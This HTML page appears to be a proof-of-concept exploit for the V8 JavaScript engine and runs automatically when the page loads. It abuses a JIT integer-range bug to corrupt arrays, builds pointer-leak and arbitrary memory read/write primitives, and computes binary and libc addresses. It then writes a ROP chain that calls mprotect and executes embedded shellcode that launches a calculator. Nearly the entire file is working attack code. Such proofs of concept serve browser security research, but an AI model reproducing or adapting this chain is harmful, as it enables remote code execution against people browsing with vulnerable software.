index.html

<!--
  Copyright 2018 Google LLC

  Licensed under the Apache License, Version 2.0 (the "License");
  you may not use this file except in compliance with the License.
  You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<script>
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);

BigInt.prototype.hex = function() {
  return '0x' + this.toString(16);
};

BigInt.prototype.i2f = function() {
  int_view[0] = this;
  return float_view[0];
}

BigInt.prototype.smi2f = function() {
  int_view[0] = this << 32n;
  return float_view[0];
}

Number.prototype.f2i = function() {
  float_view[0] = this;
  return int_view[0];
}

Number.prototype.f2smi = function() {
  float_view[0] = this;
  return int_view[0] >> 32n;
}

Number.prototype.i2f = function() {
  return BigInt(this).i2f();
}

Number.prototype.smi2f = function() {
  return BigInt(this).smi2f();
}

let g1 = undefined;
let g2 = undefined;
let g3 = undefined;
let g4 = undefined;

function foo(doit) {
  let a = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
  let b = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
  let c = [Array, 1.2, 1.3, 1.4, 1.5, 1.6];
  let x = doit ? 9007199254740992 : 9007199254740991-2;
  x += 1;
  x += 1;
  x -= 9007199254740991;
  x *= 3;
  x += 2;
  a[x] = 2.1729236899484e-311; // (1024).smi2f()
  g1 = a;
  g2 = b;
  g3 = c;
}

const g3_off = 12;
const ab_off = 26;
const ab_backing_store_off = ab_off + 0x15;

function setup() {
  foo(false);
  for (let i = 0; i < 100000; i++) {
    foo(true);
    g2[100] = 1;
    if (g2[12] != undefined) break;
  }
  if (g2[12] == undefined) {
    throw 'g2[12] == undefined';
  }
  g4 = new Float64Array(7);
  if (g2[ab_off+5].f2smi() != 0x38n || g2[ab_off+6].f2smi() != 0x7n) {
    throw 'array buffer not at expected location';
  }

  g4[0] = 5.5;

  if (g2[ab_backing_store_off] != g4[0]) {
    throw 'array buffer backing store not at expected location';
  }
}

function leak_ptr(o) {
  g3[0] = o;
  let ptr = g2[g3_off];
  g3[0] = 0;
  return ptr.f2i();
}

function readq(addr) {
  let old = g2[ab_off+2];
  g2[ab_backing_store_off-2] = (addr-0x20n|1n).i2f();
  let q = g4[0];
  g2[ab_off+2] = old;
  return q.f2i();
}

function writeq(addr, val) {
  let old = g2[ab_off+2];
  g2[ab_backing_store_off-2] = (addr-0x20n|1n).i2f();
  g4[0] = val.i2f();
  g2[ab_off+2] = old;
}

function trigger_munmap() {
  let arr = new Uint8Array(new ArrayBuffer((1<<28)+7));
  arr[0] = 0x41;
  arr[1] = 0x42;
  arr[2] = 0;
  for (let i = 0; i < 1000000; i++) {
    let arr = new Array(1024);
  }
}

const sc = [0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x59, 0x49, 0x81, 0xe9, 0x05, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x01, 0x00, 0x00, 0xbf, 0x6b, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xb1, 0x61, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x20, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0xb8, 0x51, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x49, 0x8d, 0xb9, 0x62, 0x00, 0x00, 0x00, 0xb8, 0xa1, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xb9, 0x64, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x57, 0x48, 0x89, 0xe6, 0x49, 0x8d, 0x91, 0x7e, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x52, 0x48, 0x89, 0xe2, 0x0f, 0x05, 0xeb, 0xfe, 0x2e, 0x2e, 0x00, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00];

function run() {
  setup();

  let Array_addr = leak_ptr(Array);
  console.log('Array_addr: ' + Array_addr.hex());

  let Array_code_addr = readq(Array_addr + 6n*8n);
  console.log('Array_code_addr: ' + Array_code_addr.hex());

  // Builtins_ArrayConstructor
  let builtin_val = readq(Array_code_addr+8n*8n);
  let Array_builtin_addr = builtin_val >> 16n;
  console.log('Array_builtin_addr: ' + Array_builtin_addr.hex());

  let bin_base = Array_builtin_addr - 0x405c7c0n;
  console.log(`bin base: ${bin_base.hex()}`);

  let cxa_finalize_got = bin_base + 0x8ddbde8n;
  let libc_base = readq(cxa_finalize_got) - 0x43520n;
  //let libc_base = readq(cxa_finalize_got) - 0x35bf0n;

  console.log('libc base: ' + libc_base.hex());
  let environ = libc_base+0x3ee098n;
  //let environ = libc_base+0x65b4100n;
  let stack_ptr = readq(environ);
  console.log(`stack: ${stack_ptr.hex()}`);

  let nop = bin_base+0x263d061n;
  let pop_rdi = bin_base+0x264bdccn;
  let pop_rsi = bin_base+0x267e82en;
  let pop_rdx = bin_base+0x26a8d66n;
  let mprotect = bin_base+0x88278f0n;

  let sc_array = new Uint8Array(2048);
  for (let i = 0; i < sc.length; i++) {
    sc_array[i] = sc[i];
  }
  let sc_addr = readq((leak_ptr(sc_array)-1n+0x68n));
  console.log(`sc_addr: ${sc_addr.hex()}`);

  let rop = [
    pop_rdi,
    sc_addr,
    pop_rsi,
    4096n,
    pop_rdx,
    7n,
    mprotect,
    sc_addr
  ];
  let rop_start = stack_ptr - 8n*BigInt(rop.length);
  for (let i = 0; i < rop.length; i++) {
    writeq(rop_start+8n*BigInt(i), rop[i]);
  }

  for (let i = 0; i < 0x200; i++) {
    rop_start -= 8n;
    writeq(rop_start, nop);
  }
}
setTimeout(run, 1);
</script>